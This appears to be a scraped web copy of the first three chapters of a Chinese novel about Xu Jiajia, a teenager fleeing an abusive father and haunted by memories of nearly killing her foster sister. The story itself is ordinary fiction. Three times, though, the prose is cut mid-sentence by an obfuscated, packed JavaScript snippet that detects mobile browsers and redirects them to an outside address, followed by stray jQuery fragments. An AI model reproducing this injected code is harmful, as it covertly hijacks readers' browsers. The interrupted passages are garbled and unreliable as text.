《一念慈悲》 1. 第 1 章 离家出走悄悄带走的只有一个身份证，一张大学录取通知书。徐佳佳很不满意。 蹑手蹑脚走进父母的卧室。父亲在睡觉，鼾声如雷。徐佳佳在脑子里迅速地回忆了一遍，作为公交司机的父亲，今天是晚班，不用早起，昨晚自然是放开了喝，整整一瓶红星二锅头。 徐佳佳在房门上重重敲了三下，大声喊着，“爸爸，吃饭了！” 鼾声继续如雷。 第二次，她放低了声音，“爸爸，起床了。” 床上的徐盛翻了个身，鼾声停滞。 徐佳佳屏住了呼吸，心提到了嗓子眼，双手本能地护住了脑袋。 徐盛的鼾声再次响起。 松开提在嗓子眼那口气，徐佳佳大步走进卧室，打开衣柜，拉开里面的抽屉，拿出抽屉最里面的鞋盒。鞋盒里有父亲的私房钱，不多，五张一百的，一张五十的，还有一些零头。她毫不客气，全部揣进了兜里。 这样的动作她做起来地经地义，一丝一毫的愧疚感都没有。 徐佳佳在楼道口遇到了母亲袁小宜。袁小宜买了早餐回来，豆浆油条。徐佳佳最讨厌的早餐就是豆浆油条，油条太老，豆浆太稀，又因为习惯性沾小便宜要了太多的糖，甜得发腻。总之就是一无是处。父亲喜欢这样的早餐。于是，徐佳佳的记忆里，也许是十年，也许是十八年，徐家坚持着这样的早餐。 离别之前的冲动，徐佳佳问了一个奇怪的问题，“妈妈，你喜欢什么样的早餐？” 女性的直觉告诉袁小宜，今天的女儿有些奇怪。她不问也不想，生活已足够艰难，问多想多只能让生活更加艰难。 “妈妈，早餐喜欢吃什么？”徐佳佳重复了一遍她的问题，象小学生在课堂上模仿老师教学一样，慢慢的，语音清晰。她在完成一个仪式。又或者，她还在期待，期待母亲的关心，哪怕是一点点，足够她改变主意。她当然知道，改变主意的后果有多严重，但是，至少，她还有母亲的关心，不是吗？ 袁小宜在迷惑，喜欢吃什么？她喜欢吃什么？她的大脑里，有关喜欢的记忆，留给了□□，杨敏，徐佳佳，唯独没有她自己。 徐佳佳安静地看着母亲，努力地告诉自己，最后一次，给母亲最后一次机会。 “面条吧。”袁小宜不能肯定。 “走吧，妈妈，我请你吃面。”徐佳佳轻声说，失望如同潮水一样吞噬了她的身体。 袁小宜吓坏了，“佳佳，你哪来的钱？” 徐佳佳决定小小的报复一下，“偷的，从父亲钱包里偷里。” 袁小宜的脸色惨白惨白。“赶紧的，趁你爸爸没醒放回去。不行不行，万一把他惊醒了，他会打死你的。快点，把钱给我，我帮你放回去。” 小孩子偷了父母的钱。别人家的父母会怎样呢？会打会骂会生气吧应该。但是，母亲唯一的念头居然是害怕。害怕父亲会打死她。是的。总有一天，父亲会打死她的。连母亲都相信这一点。 除了爱，还有另一种感情，叫无能为力，无可奈何，以及悲伤。徐佳佳抬头仰望天空，微笑着说着谎言，“妈妈，我骗你的。钱是爸爸给我的，让我考驾照的。” “这样就对了，你爸爸做了一辈子的公交司机，也不挺好的。非得跟你爸爸闹，闹着去上大学。上大学有什么好的，对面楼里老王家的闺女，好不容易读完四年大学毕业，进了公交公司还没有正式的编。” “妈妈，你是大学生，杨敏也要上大学了。” “杨敏是杨敏，你是你，佳佳，你就体谅一下你爸爸，他也不容易，咱们家，供不起两个大学生。要不，妈妈答应你，等杨敏大学毕业了，你要还想读大学，我一定跟你爸爸好好谈谈。” 徐佳佳看着母亲，看着这个因为生活的困苦而安份下来的女人，看着她额头前长长的刘海。刘海后面有一块淤青，膝盖旧伤新伤是真正的伤痕累累，最方便的胳膊上是深深浅浅的烫伤。母亲已经有很多年没穿过裙子没穿过短袖了。 “妈妈，走吧，你请你吃面。”同情是这世上最廉价最没用的感情。她看着母亲掉进水里，看着母亲连挣扎的努力都没有，所以，她能释放的感情，只能是同情。 老板娘把两碗面条端到桌上，袁小宜有片刻地迷惑，“我点的是阳春面。” “没错，我帮你改了，牛肉面，妈妈，你喜欢吃牛肉。”徐佳佳把其中一碗面条推到母亲面前，“我的是排骨面，妈妈，排骨你也帮我吃了吧，我减肥。”她把面碗里的排骨拔到母亲碗里。 “好好的，学别人减什么肥。你这样挺好的。”袁小宜打量着女儿，惊讶地发现，女儿长大了，眼里多出了不属于十八岁的悲伤，无奈，还有，隐藏的心事。 徐佳佳笑了，“是啊，我骗你的。我身材这么好，当然不用学别人减肥。但是，妈妈，你太瘦了，多吃点。别什么都舍不得。杨敏的学费要一万多呢，你从嘴边省，又能省得了多少。” “省得一点是一点。” “省得一点是一点，好吧，不过面条的钱已经付过了，省不出来了。” 袁小宜慢慢吃着面条，吃着吃着，眼泪上来了。“佳佳，是妈妈没用，妈妈保护不了你。你知道你爸爸这个人的，固执起来，谁的话都不听。他答应过，一定照顾好杨敏母女。他说他这一辈子庸庸碌碌，做不了大事，当不成英雄，就只想做好这一件事。佳佳，你是她女儿，你就当是圆了你爸爸的心愿。” 徐佳佳笑了，“妈妈，吃面吧。好好吃面，不说这些。不管怎样，我们是一家人。” “好好好，不说这些。”袁小宜想了想，还是没能控制住自己，“医生说，杨敏妈妈的病，已经是晚期了，最多也就这半年。杨敏的爸爸不在了，妈妈现在又这样，以后，杨敏就是你姐姐。你们就是独生子女，以后就是姐妹了，一辈子互相扶持，你说是不是。” 许佳佳不说话，低头看着碗里面条，热气让她视线模糊。 “佳佳，你呀，别的没遗传你父亲，就是这固执起来的牛脾气，跟你父亲一模一样。” 徐佳佳终于抬起头来，“好，我答应你，只要我还在这个家里，杨敏就是我的姐姐。” 袁小宜欣慰地笑了。 那个笑容太过刺眼，徐佳佳不忍面对，只得低头吃面，一根一根，慢慢地吃，细嚼慢咽。她希望时间停滞在那一刻，她希望那一顿早餐，能够持续到永远，没有结束的时候。 半夜的时候突然下起了大雨，敲打着玻璃窗，让人心颤。徐佳佳在火车上醒来，从肮脏的窗帘的缝隙里朝外看，影影绰绰仿佛一张破碎的脸，那是她自己的脸。高铁开通之后，坐绿皮车的人越来越少。一个瘦瘦的民工把大大的行李放在座位上当起了枕头，占据了三个人的位置睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729725|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。民工睡得很安静，没有鼾声，连呼吸声都很浅。这让徐佳佳严重缺乏安全感，她早已习惯于用鼾声判断一个人是清醒着，还是人事不知，没有杀伤力的睡眠状态。 徐佳佳意识到自己的身体紧绷着，抱住了头，已经作出了防守的姿势：随时都能逃走，即便逃不走，也能在挨打的时候护住头部。 对于徐佳佳而言，最大的成就感就是把自己活成了巴甫洛夫的狗。 “给你的。”坐在对面的唐家明放了一个信封在她面前。 徐佳佳打开信封，里面是厚厚一沓钞票。 “我妈妈给你的，她说这段时间先用着，等助学金下来了，或是你打工赚了钱再还也不迟。” “谢谢。”徐佳佳收下了钱，小心地放进书包的最里层。她没有许下类似放心，我一定会还钱之类的誓言。她憎恨誓言。 “有件事我想你需要知道。”唐家明慢慢地说，“杨敏跟你上了同一所大学。” 徐佳佳有片刻地窒息，“不可能，我查过她的高考成绩，她比我少了接近五十分。” “她是烈士的女儿，按照政策，加二十分，还有优先录取权。” 唐家明以为徐佳佳会哭泣，吼叫，甚至是失态疯狂，但是，徐佳佳没有，她只是盯着窗外，长久地盯着窗外，眼睛一眨也不眨。渐渐地，她能够忽略玻璃上的影子，看清窗外的风景了。黑暗，没有尽头的黑暗，偶尔的光，间或的灯，稍纵即逝。 “没关系，家明，你说过的，大学很大。我可以躲，躲到杨敏看不见我的地方。”徐佳佳说。 醒来的时候，火车到达了目的地。外面下着大雨，人们并不急于下车，但又不得不下车。雨水敲打着车窗，仿佛无数泪流成河悲伤的脸。徐佳佳能够庆幸地是，不是浅色的衣服，没有沉重的行李。即便是衣服湿透，眼睛也睁不开，她仍然能维持最起码的尊严。 整幢学生宿舍都是空空荡荡。也是，现在是暑假。 唐家明打量着宿舍的环境，“过两天英语培训班的学员才会住进来。要不，你去我那里住两天吧。你住我房间，我住客厅。” 徐佳佳摇头。“不用了，你跟人合租，不方便。” “整幢楼一个人也没有，你——不安全。”唐家明本来想说，你会害怕。临到嘴边，顾忌到徐佳佳的自尊心，又改了口。 “不安全的是别人。”徐佳佳从书包里拿出一把锋利的水果刀。 徐佳佳笑了。“出门的时候，我考虑过一个问题，如果出了意外，被父亲抓到了，我要怎么做。我想了很久，想不出答案。于是，我干脆不想了，直接拿了把刀。也许，它能保护我。” “徐佳佳，你想杀了你的父亲？”突然，唐家明直接问了个问题。 徐佳佳吓了一跳，一种被人窥测内心最恶毒心事的难堪。“也许吧。”她想了想，又觉得很有必要为自己辩护一二，“说不定，我想杀的人是我自己。我是个胆小鬼，从来如此，唐家明，这话还是你说的。” “那里我们还不认识。” “是啊，那时我们还不认识。我想知道一个答案，我杀不了陌生人，杀不了我父亲，也杀不了我自己，说不定，杀一个伤害我的抢劫犯，还是可以的。”徐佳佳用恨意说完这些话，以为杀人是件轻松的事。但是，多年之后，她才发现，杀人的人和普通的人，是完全不同的。 2. 第 2 章 空空荡荡的宿舍大楼里，徐佳佳憧憬了两天，没有抢劫犯，没有□□犯，连个顺手牵羊的小偷都没有。高兴的事倒是有一件，徐佳佳居然找到工作了，家教。 程雨涵，一个和她同年的女孩，高考不仅仅是落榜，而是离着分数线有一段漫长的距离。 徐佳佳走进程雨涵的家，是她所从来没见过的另一个世界，私家花园，游泳池，占着两层楼房高度的宽阔空间仅仅是客人们临时停留的客厅。上了楼梯之后才是程雨涵的私人空间，卧室，书房，浴室再加上一个大大的露台。 “我想要一个大大的更衣室，一个大大的更衣室，是所有女人的梦想。可是我爸爸说学生怎么能没有书房，硬是把这间房装修成了书房。”程雨涵是个直接无心机的女孩，和徐佳佳第一次见面，就抱怨起自己的家人来了。 什么样的人才需要心机呢？徐佳佳思考着这个问题。程雨涵这样的富家女吗？当然不是。要什么有什么，心机毫无用武之地。只有象徐佳佳这样的，要什么没有什么，心机才有展露才华的机会。 徐佳佳随手从书架上取下一本书，是本介绍昂贵得吓人的服饰化妆品的所谓时尚杂志。她需要的是生活必需品，而不是这种一无是处，徒添烦恼的装饰品。她把杂志放回原处，在一堆花花绿绿中寻找着。 “教材呢？怎么没看见教材？” “烧了。高考一完，我就把所有的教材，参考书，辅导书，试卷，一把火，蓬，全烧了，烧得干干净净。人类应该象计算机一样，发明一键清除。这样就不会有烦恼了。”程雨涵的表情是愉悦的，显然，还在回味着。“是不是觉得我这句话，说得特别有水平。” 没有教材要怎么补习？徐佳佳不得不开始头疼。她是冲着高额的补习费来的。 “徐佳佳，我妈说你成绩很好，是不是真的。”程雨涵好奇地问。 “还行吧。”徐佳佳本能地谦虚。 “还行！你也太谦虚了，我妈查过你的分数，多出我一倍都不止。” “运气比较好。” “唉——”程雨涵叹了一口气，“我的运气怎么就这么差，320，我只要320分就够了。” “320？”徐佳佳吓了一大跳，她犹豫着，要不要说出自己高出近一倍的高考分数。。 “我是艺术生。”程雨涵解释着，“声乐，就是唱歌。我想去国外学音乐，我妈一定让我先考上国内的大学。国内哪有好的音乐，真正的流行音乐全在国外，日本，我想去日本学电子音乐，不行，现在抵制日货，我去英国，英国是披头士的故乡，还有美国，美国也不错，美国的乡村音乐。” 徐佳佳开始开小差，日本，英国，美国......她刚参加过高考，能够背着这些国家的全名，中文的英文的；给她一张纸，她能画出这些国家的地图；她还能背出这些国家的政治经济历史气候人文风俗还有元首国王总统的名字，但是，她从来没有奢望过，去那些国家看一眼。 “我想去纽约，每年圣诞节都有打折，折扣很低啊，比国内便宜多了。你看我这个包包，coach的，我爸这个人最小气了，我想买小香，他说我这个年龄，用coach足够了。” “小香？” “小香你都不知道，香纳尔啊。” 程雨涵显然来了兴致，打开了柜子，里面是一双双美丽的鞋子，平底的，高跟的，尖头的，闪亮的...... 十四岁的春天，徐佳佳差点成为杀人犯，因为一双鞋子。 徐佳佳永远也忘不了那个春天，她站在齐腰深的河水里，抱住冰冷的桥墩支撑着身体。行人们匆匆过桥，脚上穿着各式各样的鞋子，平底的，高跟的，尖头的，闪亮的......她在等，等一双鞋：黑色漆皮，红色鞋底，闪亮的金属绊扣。那是她十四岁的生日礼物。 徐佳佳有过很多快乐的生日。周岁的生日，这是中国人的传统，满周岁的孩子需要亲人的祝福。家里的抽屉里，有一本相册，周岁时的照片，母亲抱着她，笑得温婉，父亲站在旁边，笑得爽朗。然后是两岁，然后是三岁，四岁，五岁，一直到九岁，没有十岁，十岁之后也没有。抽屉里还有另一本相册，相册的主人公是杨敏，从十岁生日开始，吹蜡烛，唱生日歌，吃生日蛋糕...... 徐佳佳觉得她可以放弃蛋糕，生日歌，她只想要一双鞋。为此，她小心翼翼，求了母亲很久。母亲终于同意了，用补课的津贴买了一双新鞋藏在了床底下。母女二人没有商量，没有暗示，只是不约而同的默契，把生日礼物这样的小事，隐瞒着徐盛。 首先来到的是杨敏的生日，徐盛托人从上海给她买了条连衣裙当生日礼物。白色的公主裙，搭配着黑色的皮鞋，徐佳佳的黑色皮鞋。 徐佳佳哭了，哭得象个孩子。不，她本来就是个孩子，她固执地想要拿回她的生日礼物。 “杨敏已经有生日礼物了。”这是徐佳佳的第一个理由。 “杨敏的裙子比我的鞋子贵多了。”这是徐佳佳的第二个理由。 还没等徐佳佳想到第三个理由，徐盛给了徐佳佳一记耳光，很重，徐佳佳的脸肿了整整三天。 善与恶，不过一念间。徐佳佳的脑子里产生了一个念头：她要有新衣服，要有生日礼物，要有父亲的爱，只要没有杨敏。如果没有杨敏，徐徐佳佳，是不是能拥有一个父亲？ 徐佳佳熟悉家乡的老桥，那是家到学校的捷径。年久失修，桥墩早已松动，搬动其中一块石头，足以让整座桥倒塌。春天的流水很急，桥下有漩涡。徐佳佳还知道一个秘密，杨敏不会游泳。 徐佳佳在水里守候了三个小时，看到了杨敏，看到她穿着那双黑色漆皮，红色鞋底，闪亮金属绊扣的鞋子，在桥上走过来又走过去，看到她有礼貌地跟每一个人打招呼，询问是否知道徐佳佳去了哪里。 奇怪的世界，徐佳佳躲在桥下想要杀死杨敏，杨敏在桥上来来去去，内心充满焦虑，担心徐佳佳的安全。 “没有参考书，没有字典，教科书呢？难道连教科书也没有吗？你是怎么学习的。”思想是没有刹车的汽车，不是车毁就是人亡。徐佳佳及时转换了话题。 “有有有，都有，在ipad里，我妈都帮我下载好了。”程雨涵在拒绝承认错误的同时，用最快速度转移了话题，“现在的父母都是控制狂，把孩子当成自己的私人财产，一天到晚要我学这个学那个。烦死了。他们忘了，这是我的人生，为什么不能让我自己作主。” 徐佳佳被迫给程雨涵贴上了三个标签：任性，懒惰，不负责任。如果不是她需要这份工作赚取金钱，她还能贴上更多更恶劣的标签。 “你想要怎么作主，不学习吗？”她极力掩饰，但还是泄露出来的不屑。 “我哪有不学习，今天早上我就练琴了。” “哦，多长时间。” “一个小时，不，半小时。”程雨涵开始心虚。 “这里有两套试卷，都是基础题，你试着做一下，我看看你能掌握多少？”徐佳佳拿出早就准备好的试卷。 “考试，一来就考试。” “你妈妈的意思，是让我根据你的实际情况，订个学习计划。” “我妈说什么你就听什么，你是我妈的应声虫吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729726|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是啊，我是你妈的应声虫，因为你妈给我发工资。” “你就那么缺钱啊！” “是啊，我缺钱，非常缺钱。没有生活费，也没有学费。” “我不信。” “信不信由你。你不需要激怒我，看在钱的份上，我会帮你补习。说句老实话，你妈根本就没指望你能学进去多少，她只要求你做出学习的样子，不要一天到晚上网淘宝玩游戏就心满意足了。” 富人家的孩子也是有自尊的。很显然，徐佳佳伤了程雨涵的自尊。 程雨涵表现得很乖巧，做了一套试卷，虽然做对的题少得可怜，问题却是多得可怕。 她直接把题目推给徐佳佳。“这道题我不会做？” “哪里不会？” “全部都不会。” 徐佳佳开始讲解，公式计算方法。“明白了吗？” “不明白。” 于是，徐佳佳又重新讲了一遍。 “还是不明白。”程雨涵继续摇头。 五遍之后，徐佳佳明白过来，程雨涵还是摇头，一脸迷惑。“你不懂公式？” “是啊。你说的这些公式，我见都没见过。” “你怎么不早说。公式是初中的内容。” “我做过试卷了，以为你会知道。”程雨涵振振有词。 徐佳佳有一种冲动，把桌上的纸笔还有书本，砸到程雨涵的脸上，砸开她的大脑，看看六年的中学，那个脑子里到底装进了多少知识。很明显，她是她父亲的女儿，体内潜伏着暴力冲动因子。她深吸一口气，让自己平静下来，她对自己说，徐佳佳，不能，你不能这样做，你是来挣钱的，不是来谋杀的。你不适合谋杀，你没那个胆子，不不不，你根本没那个天份。 “好吧，我从初中的公式开始讲起。”徐佳佳痛恨妥协，因为她一次又一次妥协。 程雨涵根本就没在听，一直盯着手机。 “上课不要玩手机。” “我们又不是真正的上课，补习而已。” “我希望你专心一点。” “明天吧，明天我保证专心，今天的时间到了。” 程雨涵指着手机上的时间，12点整。 世界就是这样不公平的，你在为生活挣扎，他人却在浪费富贵。古人的诗写过：朱门酒肉臭，路有冻死骨。徐佳佳在思考一个问题：不平，愤怒，是否能成为杀人的理由呢？如果是，她需不需要杀死程雨涵呢？ 真是无聊的思想！ 徐佳佳讨厌失眠，讨厌身体疲倦到了极点，大脑却有自己的程序在运行：回忆，一幕又一幕地回忆，过去的，现在的，也许是将来的，真实的，荒废的......不得已，她从床上爬起来，检查了一遍明天要讲课的内容，又洗了衣服，拖了地，重新躺回床上。睡不着，还是睡不着。大脑不再属于自己，拥有自己的意志。 从什么时候开始，大脑有了自己的意志呢？哪一次呢？遇上唐家明的那次吗？ 唐家明这个名字出现的同时，大脑里出现了一张脸，目光冰冷，笑容却是无辜又无害，仿佛在说：我什么没做，一切，都是你自找的。真的如此吗？ 十四岁的春天，徐佳佳不知唐家明在河边看了多久。但是她能把脑袋浸在冰冷的河水里一辈子来打赌：唐家明知道！唐家明什么都知道！即便他们从来不认识，从来没说过话。人的内心深处，总有一些连自己也不能面对，说不出口无法与人分享的肮脏龌龊存在。亲人，朋友们也许是知道但是不得不装作不知道。那些能够看透的，因此而戒备疏远远离的，往往是陌生人。 3. 第 3 章 春天的河水，残余着冬的寒意。徐佳佳在河水里站了三个小时。她那更加有力，更加灵活，更加方便的右手，一直都搁在随时都有可能松动的石头上。用力吧！用力！她一遍又一遍鼓励自己，简单的动作，就能让杨敏消失，就能让苦难消失，为什么不做呢？ 她的大脑开始不受控制，无数的结局充斥着大脑，每一种都无法让她获得快乐。她不快乐，也不知道怎样找到快乐。 杨敏不是单独一个人在桥上。 学校食堂的大妈也从桥上经过，手里拎着一个袋子，里面是一个装得满满的饭盒。大妈有个女儿，和她大妈一样胖，长着三个下巴。 大脑里首先涌现出来的荒谬居然是：如果食堂大妈死了，大妈的女儿吃不到免费的饭菜，会不会伤心？ 如果程雨涵死了，至少在这两个月之内，徐佳佳很可能会失业，徐佳佳的大学，徐佳佳的生活费怎么办？这样的念头很卑鄙，徐佳佳来不及鄙视自己，脑子里又有了另一个念头，程雨涵怎么会死呢？谋杀吗？徐佳佳有那个胆子吗？徐佳佳敢杀鱼，因为鱼没有温度，是冷血。她不敢杀鸡，鸡是温暖的，还能感觉到脉搏的跳动。 墙角放着一箱方便面，唐家明搬过来的。炎热的中午，挥汗如雨，唐家明象是从水里捞上来的。 “你先吃着，吃完了我再送过来。” “不用，我有钱，可以在学校食堂吃。” “随你。我不爱吃方便面，但是我在超市推销方便面，这些是员工福利，不要白不要，要了还能让你欠我人情，为什么不要。” 徐佳佳说的是谎话，不到开学的时间，她还不算是这个学校的学生，根本没资格在学校食堂就餐。 唐家明说的也是谎话，他知道把饭卡借给徐佳佳，要么徐佳佳拒绝，要么干脆扔抽屉里面。徐佳佳的自尊心，从不接受施舍。 所以说，这世上穷人比富人多余出来的奢侈品，就是自尊心，太多的自尊心。 天刚亮，唐家明就来敲门了，带来了一则不算是坏消息的所谓好消息。 “你父亲对镇上的人说，你来省城上大学了。还有，你父亲把房子卖了，给杨敏的母亲治病。” “房子卖了？” “房子卖了！” 徐佳佳想哭，但是，从喉咙口发出的声音，是笑声。 有关徐佳佳生命的记忆，始于一套房子。闭上眼睛，电影一般，脑海里展现出房子的全貌。七层的旧楼，没有电梯，楼道里贴着各种不干胶的小广告，疏通管道，快餐盒饭，上门开锁，家政服务，以及放之四海而皆准的□□！肮脏，杂乱，还混杂着说不定道不明的骗局，弥漫着生活的味道。楼梯狭窄，楼道的窗户很高，阳光透过窗户，只能照亮一半的空间。半明半暗的楼道，最后一级阶梯只有正常高度的一半，常常有人因此而扭伤脚。徐佳佳学会说话没多久，给那级楼梯取了个名字，叫上当受骗。 杨敏的家在七楼，徐佳佳的家，也在七楼，打开大门，就能看到对方的家。徐家摆着电视机和书桌。杨家摆着钢琴和餐桌。杨敏的母亲李兰是小学音乐老师，家里常常有钢琴声。徐佳佳的母亲袁小宜是数学老师，徐佳佳的业余时间就是坐在书桌前做作业，学校的作业，母亲的作业。徐佳佳羡慕杨敏享受音乐的快乐，杨敏羡慕徐佳佳的好成绩。 李兰白净而纤弱，袁小宜略矮而微胖。李兰手巧，寻常的衣服过她的手修改之后，别有一番风味。袁小宜做得一手好菜，色香味俱全。两个孩子的校服，远比别的孩子合身，舒适，整齐。两个孩子的餐盒，也远比其他孩子丰富，营养。 徐佳佳闯了祸会躲到杨敏家。李兰拦在徐盛的前面，轻言细语，“小孩子家家，哪有不调皮的。”徐盛说话的声音立刻低了下去，“不打不成材，棍棒底下出孝子，我打小就是这么过来的。”李兰一点火气也没有，“你是男人，我们佳佳是闺女，哪能跟你比。佳佳，走，不理你爸了，干妈教你弹钢琴。” 杨敏做错了事，会躲到徐佳佳的家里。袁小宜象小母鸡一样把杨敏护在身后，“小孩子要慢慢教，怎么能打呢。”杨曙忠顺势放下扬起的巴掌，对着徐盛招一招手，“老徐，走走走，我们去喝酒。”袁小宜笑眯眯地接下话茬，“好啊，徐盛，你来摆桌子，我上厨房炒两小菜。小敏，别愣着，到厨房来，给干妈帮忙。” 徐佳佳和杨敏，同时拥有两个母亲，两个父亲，两个家。 是的，家。 大脑传递给徐佳佳一个残忍的信息，她失去的，不是一所房子，是一个家，不，是两个家。房子是有价的，旧房是多少钱一平米，新房是多少钱是一平米，装修值多少钱，家具值多少钱等等。家却是无价的，你能为邻居的一声招呼，一个微笑，一次关心定价吗？你能为一家人围着一张餐桌吃饭，定一个价钱吗？房子拆了可以重建，家呢？家也可以重建吗？ 答案是，可以。 前提是，家人都在。 但是，一场爆炸，徐佳佳的前提随之灰飞烟灭。杨曙忠死了，李兰疯了，徐盛失去了控制，袁小宜忘记了反抗。 程雨涵在愤怒地收拾行李。房间里乱七八糟，昂贵的衣物用品堆得满地。 “你在干什么？”徐佳佳不得不踮起脚尖，唯恐踩到。这里任何一样东西，她倾家荡产也赔不起。 “我要离家出走。”程雨涵愤愤不平地说。 “离家出走？为什么？” “他们不爱我，我爸爸不爱我，我妈妈也不爱我。没有人爱我。他们只知道强迫我，强迫我学习，强迫我弹琴，强迫我做她们想做的事情。我要做我自己，我要反抗，我要离家出走。” “然后呢？”徐佳佳心平气和地问了一个问题。 “什么然后？”程雨涵觉得莫名其妙。 “离家出走之后呢？你想做什么？” “我去住酒店，我有钱。” “钱用完之后呢？” 程雨涵愣住了，很显然，她没想过这个问题。 “钱用完之后，还继续离家出走吗？”徐佳佳步步紧逼。 “钱用完之后，我就去赚钱，我去赚很多很多钱，不要用他们的臭钱，反正他们也不爱我。”程雨涵虚弱地继续着反抗精神。 “怎么赚钱呢？” “我可以象你一样，帮人补习。” “你连初中的数学题都不会做。” “我可以教人弹钢琴。” “你只会三首曲子，还总是弹错。” “我去工厂打工，这总可以了吧。”程雨涵洋洋得意。 “工厂打工最低工资一千块，只够你住两天酒店。” “我可以艰苦创业，很多有钱人就没上过大学，李嘉诚就没上过大学，我爸爸当年高考也落榜了，为什么我一定要上大学！”程雨涵垂死挣扎，气势明显减弱。 “我不知道，我只知道，我很想上大学，看看大学里的世界，看看上完大学之后的我，跟没上大学的我，会不会有所不同。” “你考上了当然这么说啦。”程雨涵立刻抓住了徐佳佳的漏洞。 “是啊，我考上了，但是我父亲不让我上大学，他要求我把上大学的机会让给别人，你能理解那种感受吗？一种本应该属于你的，珍贵的宝贝，被别人夺去了。” “你爸爸怎么能这样，你家没钱吗？” “算是吧。” “你真可怜。”程雨涵的语气里，充满了同情。 徐佳佳苦笑，“别同情我，我最讨厌别人同情我。” “对不起。”程雨涵真诚地道歉，剩下的时间里，她忘记了之前想要离家出走的念头，配合徐佳佳的教学。程雨涵不笨，甚至可以说是一个聪明的孩子。补习顺利得令人不敢相信。 “谢谢。”12点，徐佳佳结束补习，真心实意，向程雨涵道谢。她的内心，居然产生了一种名叫“喜欢”的感情，对象是程雨涵。 世上最善变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729727|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是什么？ 人类吗？不，是感情，人类的感情。 朋友反目成仇，恋人因爱成恨，亲生子女不孝父母，升米恩斗米仇，是因为没有感情吗？不是，有感情，只不过感情发生了变化。 一开始，徐佳佳是讨厌程雨涵的，贫穷与富足，忍让与刁蛮，屈从与任性，每一种状态都是无法调和的两个极端，完全是两个世界的人，一个人的随心所欲，是另一个人的小心翼翼；一个人的挥霍浪费，是另一个人的梦寐以求；一个人的存在，是另一个人恶梦。如果程雨涵不是一个人，一个有血有肉，活生生的人，是徐佳佳的同类，是一只狗，一只猫，徐佳佳会任由她们流浪街头；一条鱼，一只鸡，或是一头猪，徐佳佳会毫不犹豫，全无怜悯之心，让她们成为自己餐桌上的一道菜。 徐佳佳看不起真实的自己，她怎么能如此没有原则，没有立场，任由自己对程雨涵产生感情，还是产生名叫“喜欢”的感情呢？这难道不是自身软弱的表现吗？这难道不是自我背叛吗？难道她被背叛得还不够吗？杨敏，徐盛，袁小宜，李兰，还有，唐家明。 徐佳佳的背叛，始于一次恐怖事件，始于一个人，对整个人类的背叛，始于一个不开心的人，对一切的善行，爱心还有感情的背叛，即便它们渺小如尘埃，稍纵即逝。 徐佳佳记得那一天，是个晴天，大好的晴天。徐佳佳十岁，杨敏，也是十岁。 杨敏很伤心，在哭，不停地哭，眼睛都哭肿了，就在学校大操场，人来人往。这就是所谓的讽刺了，幸福或是痛苦，灾难总是在那里。 杨敏应该哭泣：重点班考试，杨敏落榜了，她努力了很久，非常努力，还是落榜了，失去了进入重点班的机会。 但是，徐佳佳考了第一名。 抛开杨敏，抛开杨敏是徐佳佳的好朋友，抛开杨敏的父母和徐佳佳的父母是最好的邻居朋友，等等等等一切与考试无关的事情，徐佳佳考了第一名，是件高兴的事。徐佳佳应该高兴，应该祝贺自己，接受别人的祝贺。 徐佳佳站在杨敏面前，仿佛自己做了一件错事，仿佛自己就是杨敏伤心的理由。 杨敏不停地哭泣，徐佳佳再也找不出安慰的话语，人来人往，都在用异样的眼神看着杨敏，也看着徐佳佳。 束手无策的徐佳佳，脑子里产生了一个念头：如果，只是如果，杨敏不是她的好朋友，那该有多好。 袁小宜在奔跑，披头散发，跑得飞快，后面跟着一群焦急的人，有学校的领导，老师，还有杨敏的母亲李兰。有那么一个瞬间，她追上了母亲，拉住了母亲的胳膊，但是马上，母亲摆脱了她，尖叫着，继续向前跑。 李兰大喊：“小敏，快拦住你干妈。” 徐佳佳反映过来，惊慌失措，猛地拦住袁小宜，“妈妈，怎么了，你怎么了。” 袁小宜怔怔地看着徐佳佳。 李兰抱住袁小宜，“小宜，小宜，你别这样，别吓坏孩子！” “孩子？”袁小宜回过神来，紧紧抱住徐佳佳，抱着徐佳佳喘不过气来，“疯子，那是个疯子，带了汽油上车，要烧死公交车上的人。为什么，为什么！你爸爸跟他都不认识，无冤无仇。为什么会这样，为什么......” 脑子里只剩下一条信息：爸爸死了！爸爸死了！死了.......被一个疯子烧死了！ 人类的大脑常常会涌现出一些可怕的想法。徐佳佳被那些可怕的想法折磨了很多年，她愤怒，怀疑，甚至想过随波逐流，做一个彻底的坏人。 徐佳佳问了唐家明一个问题，“如果，如果你的亲人，最亲最亲的亲人伤害了你。”话一出口，她觉得这个理由还不够充足，遂又描述了一番，“很严重很严重，那种看不到希望，活不下去的伤害，你会不会在心里暗暗地希望他死掉？” 